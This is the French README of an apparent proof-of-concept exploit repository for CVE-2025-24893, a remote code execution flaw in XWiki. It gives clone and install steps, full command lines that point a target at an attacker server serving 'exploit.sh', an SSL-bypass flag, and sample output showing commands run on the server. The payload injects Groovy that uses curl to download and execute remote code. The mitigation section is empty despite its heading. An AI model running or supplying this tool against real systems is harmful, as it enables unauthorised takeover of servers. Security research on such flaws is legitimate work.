
PoC pour CVE-2025-24893
Ce dépôt contient une preuve de concept (PoC) d'exploitation pour la vulnérabilité XWiki Remote Code Execution (RCE) identifiée sous la référence CVE-2025-24893. Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur une instance XWiki cible en exploitant une requête malveillante vers le point de terminaison SolrSearch. Ce script prend en charge les cibles HTTP et HTTPS.
⚠️ Avertissement : Cette PoC est destinée uniquement à des fins éducatives et de recherche. L'utilisation non autorisée de ce code contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant de tester un système.
La vulnérabilité provient d'une gestion incorrecte des entrées utilisateur dans le point de terminaison SolrSearch, permettant l'injection de code Groovy via une charge utile malveillante. Cette PoC montre comment un attaquant peut exploiter cela pour exécuter des commandes arbitraires sur le serveur cible.
requestsargparseurllib.parserehtmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
Le script envoie une requête HTTP/HTTPS malveillante à l'instance XWiki cible, en injectant une charge utile Groovy qui exécute une commande curl pour récupérer et exécuter un fichier depuis un serveur contrôlé par l'attaquant.
Exécutez le script avec la commande suivante :
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url : L'URL de base de l'instance XWiki cible (par exemple, http://target ou https://target).--server : L'adresse IP ou le nom d'hôte du serveur de l'attaquant, incluant le port si nécessaire (par exemple, 192.168.1.100:8080). Prend en charge HTTP et HTTPS.--file : Le nom du fichier sur le serveur de l'attaquant contenant le code à exécuter (par exemple, exploit.sh).--no-verify : Option facultative pour désactiver la vérification SSL pour les cibles HTTPS (à utiliser avec prudence, pour les tests uniquement).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
Pour contourner la vérification SSL (par exemple, pour les certificats auto-signés) :
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
Cela permettra de :
curl.exploit.sh) depuis le serveur de l'attaquant (http(s)://192.168.1.100:8080).Le script extrait la réponse de la cible, supprime les balises HTML (par exemple, <br/>, <del>) et convertit les entités HTML en texte brut pour une meilleure lisibilité. La sortie nettoyée est affichée dans la console.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Pour se protéger contre cette vulnérabilité :
Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.